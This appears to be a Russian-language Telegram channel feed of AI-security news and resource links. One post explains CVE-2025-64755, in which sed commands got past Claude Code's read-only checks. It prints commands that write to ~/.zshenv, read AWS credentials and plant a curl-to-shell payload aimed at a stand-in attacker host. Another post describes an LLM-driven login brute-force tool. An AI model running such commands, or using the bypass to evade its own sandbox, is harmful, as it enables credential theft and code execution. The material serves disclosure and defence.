Forwarded from GitHub Community
Аwesome-generative-ai-guide — единый репозиторий для обновлений исследований в области генеративного ИИ, материалов для интервью, блокнотов и многого другого!
🐱 GitHub
Please open Telegram to view this post
VIEW IN TELEGRAM
Awesome AI Security
Подборка ресурсов, исследований и инструментов для обеспечения безопасности систем искусственного интеллекта.
https://github.com/TalEliyahu/Awesome-AI-Security
Подборка ресурсов, исследований и инструментов для обеспечения безопасности систем искусственного интеллекта.
https://github.com/TalEliyahu/Awesome-AI-Security
GitHub
GitHub - TalEliyahu/Awesome-AI-Security: Curated resources, research, and tools for securing AI systems
Curated resources, research, and tools for securing AI systems - TalEliyahu/Awesome-AI-Security
❤2
Матрица областей действия безопасности генеративного ИИ
Системы агентного ИИ могут автономно выполнять многоэтапные задачи, принимать решения и взаимодействовать с инфраструктурой и данными. Это изменение парадигмы, и организациям необходимо к нему адаптироваться. В отличие от традиционных систем управления бизнесом, работающих по шаблонам «запрос-ответ» без сохранения состояния, системы агентного ИИ предлагают автономные возможности, постоянную память, оркестровку инструментов, проблемы идентификации и агентства, а также интеграцию с внешними системами, расширяя круг рисков, которые организациям необходимо учитывать.
https://aws.amazon.com/ru/blogs/security/the-agentic-ai-security-scoping-matrix-a-framework-for-securing-autonomous-ai-systems/
Системы агентного ИИ могут автономно выполнять многоэтапные задачи, принимать решения и взаимодействовать с инфраструктурой и данными. Это изменение парадигмы, и организациям необходимо к нему адаптироваться. В отличие от традиционных систем управления бизнесом, работающих по шаблонам «запрос-ответ» без сохранения состояния, системы агентного ИИ предлагают автономные возможности, постоянную память, оркестровку инструментов, проблемы идентификации и агентства, а также интеграцию с внешними системами, расширяя круг рисков, которые организациям необходимо учитывать.
https://aws.amazon.com/ru/blogs/security/the-agentic-ai-security-scoping-matrix-a-framework-for-securing-autonomous-ai-systems/
🔥1
BruteForceAI - AI-Powered Login Brute Force Tool
BruteForceAI — это передовой инструмент для тестирования на проникновение, который радикально меняет традиционные атаки методом подбора паролей, интегрируя большие языковые модели (LLM) для интеллектуального анализа форм. Инструмент автоматически определяет формы входа с помощью ИИ, а затем выполняет сложные многопоточные атаки с использованием моделей поведения, имитирующих человеческое.
BruteForceAI — это передовой инструмент для тестирования на проникновение, который радикально меняет традиционные атаки методом подбора паролей, интегрируя большие языковые модели (LLM) для интеллектуального анализа форм. Инструмент автоматически определяет формы входа с помощью ИИ, а затем выполняет сложные многопоточные атаки с использованием моделей поведения, имитирующих человеческое.
Forwarded from AISecHub
11 Emerging AI Security Risks with MCP (Model Context Protocol)
https://checkmarx.com/zero-post/11-emerging-ai-security-risks-with-mcp-model-context-protocol/
https://checkmarx.com/zero-post/11-emerging-ai-security-risks-with-mcp-model-context-protocol/
Checkmarx
11 Emerging AI Security Risks with MCP (Model Context Protocol) - Checkmarx Zero
Model Context Protocol (MCP)—rapidly becoming the connective tissue of agentic AI—introduces an attack surface far larger than most teams realize. From poisoned data and schema manipulation to cross-agent context abuse, the research outlines eleven emerging…
Forwarded from 🕷 BugBountyRu
Раньше не принимали отчеты со сканеров, настало время запретить ИИ-галлюцинации (которые тоже могут быть своебразной атакой мусорными отчетами на триаж/дефектовщиков): https://daniel.haxx.se/blog/2025/07/14/death-by-a-thousand-slops/
daniel.haxx.se
Death by a thousand slops
I have previously blogged about the relatively new trend of AI slop in vulnerability reports submitted to curl and how it hurts and exhausts us. This trend does not seem to slow down. On the contrary, it seems that we have recently not only received more…
Forwarded from Информационная опасность
This media is not supported in the widget
VIEW IN TELEGRAM
Forwarded from AISecHub
OWASP-AI-Testing-Guide-v1.pdf
6.2 MB
OWASP AI Testing Guide v1.0
The OWASP AI Testing Guide establishes the missing standard: a unified, practical, and comprehensive framework for trustworthiness testing of AI systems, grounded in real attack patterns, emerging global standards, and the lived experience of the AI security community.
Source: https://github.com/OWASP/www-project-ai-testing-guide
The OWASP AI Testing Guide establishes the missing standard: a unified, practical, and comprehensive framework for trustworthiness testing of AI systems, grounded in real attack patterns, emerging global standards, and the lived experience of the AI security community.
Source: https://github.com/OWASP/www-project-ai-testing-guide
🔥2
Forwarded from OK ML
Как ошибка в разборе sed привела к обходу read-only защиты в Claude Code? CVE-2025-64755
Недавно была обнаружена критическая уязвимость в Claude Code, позволяющая обойти механизм read-only защиты и записывать произвольные файлы на хосте. Проблема получила идентификатор CVE-2025-64755, а исправление выпущено в версии 2.0.31.✌️ Если обновляешь Claude Code вручную - самое время сделать это.
В Claude Code - сложная последовательность проверок для фильтрации bash-команд, которые модель может выполнять. Идея в том, чтобы разрешать только безопасные команды👀 , а опасные ьлокировать. Для этого используется:
🙈список безопасных команд и аргументов;
🙈множество чувствительных регулярных выражений;
🙈отдельная LLM (Haiku), которая проверяет, не содержит ли команда инъекцию;
🙈механизм checkPermissions для каждой встроенной тулы.
Однако весь этот сложный механизм имел одну точку провала - парсинг выражений в команде sed🪞 . Валидация выражений sed полагалась на несколько регулярных выражений, которые должны были выявлять опасные шаблоны. Но проверка была неполной. Благодаря особенностям реализации sed на macOS и неточно подобранным regex можно было выполнить команды вида:
Или
Claude Code доверял такой команде, считая её безопасной.😏 В результате становилось возможным:
1. Запись в произвольный файл
Например, в .zshenv:
2. Чтение конфиденциальных данных
AWS credentials, SSH keys, токены и тд и тп
3. Получение RCE через login shell
Вписав payload в .bashrc / .zshenv:
После запуска терминала - полный RCE.
Это пост - напоминание всем, кто строит агентные системы!🌡️ Инструменты интерпретации команд требуют не регэкс проверок, а строгих, формальных методов анализа.
Всё!
🆗
Недавно была обнаружена критическая уязвимость в Claude Code, позволяющая обойти механизм read-only защиты и записывать произвольные файлы на хосте. Проблема получила идентификатор CVE-2025-64755, а исправление выпущено в версии 2.0.31.
В Claude Code - сложная последовательность проверок для фильтрации bash-команд, которые модель может выполнять. Идея в том, чтобы разрешать только безопасные команды
🙈список безопасных команд и аргументов;
🙈множество чувствительных регулярных выражений;
🙈отдельная LLM (Haiku), которая проверяет, не содержит ли команда инъекцию;
🙈механизм checkPermissions для каждой встроенной тулы.
Однако весь этот сложный механизм имел одну точку провала - парсинг выражений в команде sed
echo 'runme' | sed 'w /Users/xpn/.zshenv'
Или
echo 1 | sed 'r/Users/xpn/.aws/credentials'
Claude Code доверял такой команде, считая её безопасной.
1. Запись в произвольный файл
Например, в .zshenv:
echo 'malware' | sed 'w ~/.zshenv'
2. Чтение конфиденциальных данных
AWS credentials, SSH keys, токены и тд и тп
3. Получение RCE через login shell
Вписав payload в .bashrc / .zshenv:
echo '$(curl attacker.sh | sh)' | sed 'w ~/.zshenv'
После запуска терминала - полный RCE.
Это пост - напоминание всем, кто строит агентные системы!
Всё!
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from Femida
Утечка из OpenAI
OpenAI стал рассылать пользователям письма о том, что их данные об использовании API платформы OpenAI украдены😒
Говорят, что пострадала 3rd-party аналитическая платформа, и никаких «критических пользовательских данных» типа данных чатов не утекло.
На этот раз пронесло, но запоминаем правила старые как мир: не общаемся с GPT на щепетильные темы, и тем более никогда не отправляем в неё чувствительных данных.
Информации о продаже базы пока не появлялось👀
OpenAI стал рассылать пользователям письма о том, что их данные об использовании API платформы OpenAI украдены
Говорят, что пострадала 3rd-party аналитическая платформа, и никаких «критических пользовательских данных» типа данных чатов не утекло.
На этот раз пронесло, но запоминаем правила старые как мир: не общаемся с GPT на щепетильные темы, и тем более никогда не отправляем в неё чувствительных данных.
Информации о продаже базы пока не появлялось
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from PWN AI (Artyom Semenov)
Сохранёнок у меня, как обычно, вагон, но вот структурировать всё это руки доходят не всегда. Был ещё и незакрытый вопрос: «А что есть в Китае по AI Security?».
Если глянуть публикации на arXiv, китайских исследователей можно увидеть везде. Но кто именно лидирует по публикациям? Какие компании делают open-source (и проприетарные) решения для защиты пайплайнов, а также применяют классический ML в ИБ? Кстати, с последним вопросов меньше всего.
В итоге пришла мысль собрать всё это в единый список. Так появился он:
☺️ https://github.com/wearetyomsmnv/Awesome-China-AI-Security/
Список получился подробным и структурированным, многое удалось выделить в отдельные блоки.
Всё ради того, чтобы интересующиеся могли сразу пропустить титанически сложный процесс поиска ресурсов. Переводить репо на другие языки я не планирую, но вы всегда можете кинуть pull request или сделать форк, добавив свои находки.
Если глянуть публикации на arXiv, китайских исследователей можно увидеть везде. Но кто именно лидирует по публикациям? Какие компании делают open-source (и проприетарные) решения для защиты пайплайнов, а также применяют классический ML в ИБ? Кстати, с последним вопросов меньше всего.
В итоге пришла мысль собрать всё это в единый список. Так появился он:
Список получился подробным и структурированным, многое удалось выделить в отдельные блоки.
Всё ради того, чтобы интересующиеся могли сразу пропустить титанически сложный процесс поиска ресурсов. Переводить репо на другие языки я не планирую, но вы всегда можете кинуть pull request или сделать форк, добавив свои находки.
Please open Telegram to view this post
VIEW IN TELEGRAM
GitHub
GitHub - wearetyomsmnv/Awesome-China-AI-Security
Contribute to wearetyomsmnv/Awesome-China-AI-Security development by creating an account on GitHub.